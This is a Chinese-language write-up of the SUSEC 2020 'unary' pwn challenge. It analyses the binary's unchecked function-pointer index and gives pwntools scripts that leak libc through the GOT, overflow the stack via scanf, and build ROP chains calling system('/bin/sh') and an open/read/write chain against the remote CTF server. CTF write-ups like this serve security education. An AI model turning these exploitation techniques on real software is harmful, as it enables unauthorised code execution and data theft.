menu EDS
susec2020-pwn-unary
2143 浏览 | 2020-03-16 | 分类:pwn | 标签:

unary

题目提供了elf文件和libc库。

初步简单执行,发现该程序功能为简单的计算器,有+1,-1等单数操作。

通过ida打开,主函数伪c代码如下。

read_int伪c代码如下。

read_int函数只接受int型数据,接收到非int型会exit,由于c语言中int型最大只能接收到4个字节,无法进行溢出操作。该程序虽然有目录所限,但是并未对用户的选项进行合法判断,且对用户的选项仅有一处指针操作。

汇编代码如下。

函数的执行由r12与rbx两个寄存器控,call qword ptr [r12+rbx*8]

在0x400835处下断点,多次试验后发现第一次输入的值最终为rbx+1,第二次输入的值最终为rdi,r12的值固定为0x600e00

[----------------------------------registers-----------------------------------]
RAX: 0x600e1f --> 0x100 
RBX: 0x0 
RCX: 0x10 
RDX: 0x7f1c9d342790 --> 0x0 
RSI: 0x7fff5be6bf0c --> 0x0 
RDI: 0x600e1f --> 0x100 
RBP: 0x40091c ("Operator: ")
RSP: 0x7fff5be6bf00 --> 0x7fff5be6bf2e --> 0x0 
RIP: 0x400835 (<main+76>:    call   QWORD PTR [r12+rbx*8])
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x7f1c9d0f35e0 --> 0x2000200020002 
R12: 0x600e00 --> 0x400707 (<inc>:    add    edi,0x1)
R13: 0x7fff5be6bf0c --> 0x0 
R14: 0x400927 --> 0x78286600203d2078 ('x = ')
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40082d <main+68>:    movsxd rbx,ebx
   0x400830 <main+71>:    mov    rsi,r13
   0x400833 <main+74>:    mov    edi,eax
=> 0x400835 <main+76>:    call   QWORD PTR [r12+rbx*8]
   0x400839 <main+80>:    mov    edx,DWORD PTR [rsp+0xc]
   0x40083d <main+84>:    lea    rsi,[rip+0xe8]        # 0x40092c
   0x400844 <main+91>:    mov    edi,0x1
   0x400849 <main+96>:    mov    eax,0x0
Guessed arguments:
arg[0]: 0x600e1f --> 0x100 
arg[1]: 0x7fff5be6bf0c --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0x7fff5be6bf00 --> 0x7fff5be6bf2e --> 0x0 
0008| 0x7fff5be6bf08 --> 0x0 
0016| 0x7fff5be6bf10 --> 0x0 
0024| 0x7fff5be6bf18 --> 0x400870 (<__libc_csu_init>:    push   r15)
0032| 0x7fff5be6bf20 --> 0x400620 (<_start>:    xor    ebp,ebp)
0040| 0x7fff5be6bf28 --> 0x7fff5be6c010 --> 0x1 
0048| 0x7fff5be6bf30 --> 0x0 
0056| 0x7fff5be6bf38 --> 0x7f1c9cf9c830 (<__libc_start_main+240>:    mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400835 in main ()

利用puts_got泄露__libc_start_main地址

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
r.recvuntil('or:')
r.sendline('68') #(puts_got - 0x600e00) / 8 + 1
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got))) #rdi
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
print "libcstartmain>>>"+hex(lsm)

r.interactive()

得到结果

libcstartmain>>>0x7fbe0c9df740

利用__isoc99_scanf()函数进行溢出构造rop,程序中带有%s字符串,位置在0x400916,被 printf_chk()调用过。将%s地址存入rdi寄存器中,rsi默认指向栈地址,可以向栈中输入大量字符造成栈溢出。代码如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
gdb.attach(r,'b * 0x40085e')
r.recvuntil('or:')
r.sendline('71') #(isocc99_scanf_got - 0x600e00) / 8 + 1
r.recvuntil(' =')
r.sendline(str(0x400916)) #rdi
r.sendline(cyclic(120)) #二次输入
r.recvuntil('or:')
r.sendline('0') #退出,触发栈溢出控制rbp,rip

r.interactive()

调试结果如下

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x6161616361616162 ('baaacaaa')
RCX: 0x10 
RDX: 0x7f24f780a790 --> 0x0 
RSI: 0x1 
RDI: 0x7ffc82185860 --> 0x7ffc82180030 --> 0x0 
RBP: 0x6161616561616164 ('daaaeaaa')
RSP: 0x7ffc82185dd8 ("laaamaaanaaaoaa"...)
RIP: 0x400866 (<main+125>:    ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x7f24f75bb5e0 --> 0x2000200020002 
R12: 0x6161616761616166 ('faaagaaa')
R13: 0x6161616961616168 ('haaaiaaa')
R14: 0x6161616b6161616a ('jaaakaaa')
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400860 <main+119>:    pop    r12
   0x400862 <main+121>:    pop    r13
   0x400864 <main+123>:    pop    r14
=> 0x400866 <main+125>:    ret    
   0x400867:    nop    WORD PTR [rax+rax*1+0x0]
   0x400870 <__libc_csu_init>:    push   r15
   0x400872 <__libc_csu_init+2>:    push   r14
   0x400874 <__libc_csu_init+4>:    mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffc82185dd8 ("laaamaaanaaaoaa"...)
0008| 0x7ffc82185de0 ("naaaoaaapaaaqaa"...)
0016| 0x7ffc82185de8 ("paaaqaaaraaasaa"...)
0024| 0x7ffc82185df0 ("raaasaaataaauaa"...)
0032| 0x7ffc82185df8 ("taaauaaavaaawaa"...)
0040| 0x7ffc82185e00 ("vaaawaaaxaaayaa"...)
0048| 0x7ffc82185e08 ("xaaayaaazaabbaa"...)
0056| 0x7ffc82185e10 ("zaabbaabcaabdaa"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400866 in main ()

偏移如下

gdb-peda$ cyclic -l daaa
12
gdb-peda$ cyclic -l laaa
44

利用ROPgadget找到pop rdi ;ret

@ubuntu:~/Desktop$ ROPgadget --binary unary |grep rdi
0x00000000004008d3 : pop rdi ; ret

已知libc地址和溢出位置构造rop,代码如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
#gdb.attach(r,'b * 0x400835')
r.recvuntil('or:')
r.sendline('68') #puts
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got)))
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
print "libcstartmain>>>"+hex(lsm)
base = lsm - 0x020740
system = base + 0x045390
binsh = base + 0x18cd57
rdi = p64(0x4008d3)
r.recvuntil('or:')
r.sendline('71') #isocc99_scanf
r.recvuntil(' =')
r.sendline(str(0x400916))
r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(binsh)+p64(system))
r.recvuntil('or:')
r.sendline('0')


r.interactive()

由于目标机禁用了system函数,利用orw获取flag。代码如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./unary')
    gdb.attach(r,'b * 0x400835')
    #gdb.attach(r,'b * 0x40085e')
else:
    r = remote('66.172.27.144',9004)
    libc = ELF('./libc-2.27.so')

elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
rdi = p64(0x4008d3)
rsi = p64(0x400865)
r.recvuntil('or:')
r.sendline('68') #puts
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got)))
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
buf = 0x601100
print "libcstartmain>>>"+hex(lsm)
if local == 1:
    base = lsm - 0x020740
    system = base + 0x045390
    binsh = base + 0x18cd57
    puts = base + 0x6f690
    r.recvuntil('or:')
    r.sendline('71') #isocc99_scanf
    r.recvuntil(' =')
    r.sendline(str(0x400916))
    r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(binsh)+p64(system))
    r.recvuntil('or:')
    r.sendline('0')
else:
    base = lsm - libc.symbols['__libc_start_main']
    system = base + libc.symbols['system']
    binsh = base + 0x1b3e9a
    opens = p64(base + libc.symbols['open'])
    read = p64(base + libc.symbols['read'])
    write = p64(base + libc.symbols['write'])
    puts = base + libc.symbols['puts']
    rdx = p64(base + 0x01b96)

    r.recvuntil('or:')
    r.sendline('71') #isocc99_scanf
    r.recvuntil(' =')
    r.sendline(str(0x400916))
    #r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+p64(rdi)+p64(binsh)+p64(system)+p64(rdi))
    r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(0) + rdx + p64(0x8) + rsi + p64(buf) + read + rdi + p64(buf) + rdx + p64(0) + rsi +p64(0)+ opens  +rdi + p64(3) + rdx + p64(0x30) + rsi + p64(buf+0x38) + read + rdi + p64(1) + rdx + p64(0x30)  + rsi + p64(buf+0x38) + write)

    r.recvuntil('or:')
    r.sendline('0')
    r.send('flag.txt')


r.interactive()

封面id72055179 画师id1056186

发表评论

email
web

全部评论 (共 1 条评论)

    晏宁
    2020-03-17 16:14
    EDS 师傅威武!